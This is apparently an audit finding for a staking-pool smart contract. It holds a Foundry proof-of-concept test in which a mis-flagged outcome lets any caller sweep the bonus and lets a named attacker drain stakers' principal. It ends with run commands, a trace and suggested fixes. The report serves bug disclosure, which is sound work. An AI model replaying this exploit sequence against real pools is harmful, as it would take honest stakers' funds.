DESIGN §4 intentionally leaves `sweepUnclaimedBonus` permissionless and does not set `claimsStarted`, so moderators can re-flag after a mistaken `flagOutcome`. When the pool resolves to `SURVIVED` or `EXPIRED`, unclaimed bonus can be swept to `recoveryAddress`. The reserve calculation protects outstanding principal always, and protects bonus only when `riskWindowStart != 0`.
When no risk window was observed (`riskWindowStart == 0`), a moderator who briefly mis-flags `SURVIVED` before correcting to good-faith `CORRUPTED` creates a window where any caller (Eve) can sweep the entire bonus to `recoveryAddress` — bonus is not reserved. On re-flag, `bountyEntitlement` is re-snapshotted without the swept bonus, so the named attacker's `claimAttackerBounty` pays stake only while the bonus is already at recovery. Alice (staker) retains `eligibleStake` accounting but the pool is empty after the attacker claims.
- A moderator mis-flags `SURVIVED` while the registry is `CORRUPTED` before correcting to good-faith `CORRUPTED` with a named attacker a realistic operator error during incident response.
- The agreement never entered `UNDER_ATTACK` in this pool (`riskWindowStart == 0`), which is a valid terminal path per DESIGN §5.
- `sweepUnclaimedBonus` is permissionless Eve needs no special role; MEV bots or any observer can call it in the mis-flag window.
- Honest stakers lose 100% of principal and all bonus: bonus goes to `recoveryAddress`; principal goes to the named attacker via `claimAttackerBounty`.
- Staker accounting (`eligibleStake`) becomes stranded `claimSurvived` reverts (wrong outcome), `claimCorrupted` reverts (`NothingToSweep`).
- Collusion variant: Eve + attacker + recovery controlled by the same sponsor staker loses everything to a sponsor/attacker coalition with only one wrong flag required.
```bash
forge build
forge test --match-contract PoC_MEveSweep_MisFlagReflagTest -vvvv
```
| Path | Role |
|------|------|
| `test/audit/PoC_MEveSweep_MisFlagReflag.t.sol` | Standalone PoC |
| `test/helpers/BaseConfidencePoolTest.sol` | Pool + mock registry `setUp()` |
---
### Reviewer copy-paste setup (clean official contest repo)
All paths relative to **`repo/`**.
**Step 1 — Prerequisites**
```bash
cd repo
git submodule update --init --recursive
forge build
```
**Step 2 — Create the PoC test file**
Create **`test/audit/PoC_MEveSweep_MisFlagReflag.t.sol`** and paste:
```solidity
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract PoC_MEveSweep_MisFlagReflagTest is BaseConfidencePoolTest {
address internal eve = makeAddr("eve");
function test_PoC_eveSweep_afterWrongFlag_stakersLoseBonusEntitlement() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(eve);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 100 * ONE);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), 100 * ONE);
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeNotSet.selector);
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.claimCorrupted();
assertEq(pool.eligibleStake(alice), 100 * ONE);
}
}
```
**Step 3 — Run**
```bash
forge test --match-contract PoC_MEveSweep_MisFlagReflagTest -vvvv
```
**Expected result:** `1 passed` — Eve sweeps `50e18` bonus to `recovery`; re-flag bounty is `100e18` (stake only); attacker drains principal; Alice cannot claim.
```
[PASS] test_PoC_eveSweep_afterWrongFlag_stakersLoseBonusEntitlement() (gas: 595528)
Traces:
[595528] PoC_MEveSweep_MisFlagReflagTest::test_PoC_eveSweep_afterWrongFlag_stakersLoseBonusEntitlement()
├─ flagOutcome(SURVIVED) — riskWindowStart == 0, snapshotTotalBonus = 50e18
├─ sweepUnclaimedBonus() [eve]
│ ├─ transfer(recovery, 50000000000000000000 [5e19])
│ └─ emit BonusSwept(caller: eve, amount: 50e18)
├─ flagOutcome(CORRUPTED, goodFaith=true, attacker)
│ └─ bountyEntitlement() → 100000000000000000000 [1e20]
├─ claimAttackerBounty() [attacker]
│ └─ transfer(attacker, 100000000000000000000 [1e20])
├─ claimSurvived() [alice] → [Revert] OutcomeNotSet()
├─ claimCorrupted() [alice] → [Revert] NothingToSweep()
└─ eligibleStake(alice) → 100000000000000000000 [1e20]
Suite result: ok. 1 passed; 0 failed; 0 skipped
```
Reserve bonus on sweep whenever `outcome == SURVIVED/EXPIRED` and `snapshotTotalBonus > claimedBonus`, regardless of `riskWindowStart`. Track `bonusSweptPreClaim` and subtract from recovery credit on re-snapshot, or block sweep after the first `flagOutcome`.
Operationally require `pokeRiskWindow()` before first `flagOutcome` when the registry is terminal ensures `riskWindowStart != 0` when bonus was meant for stakers.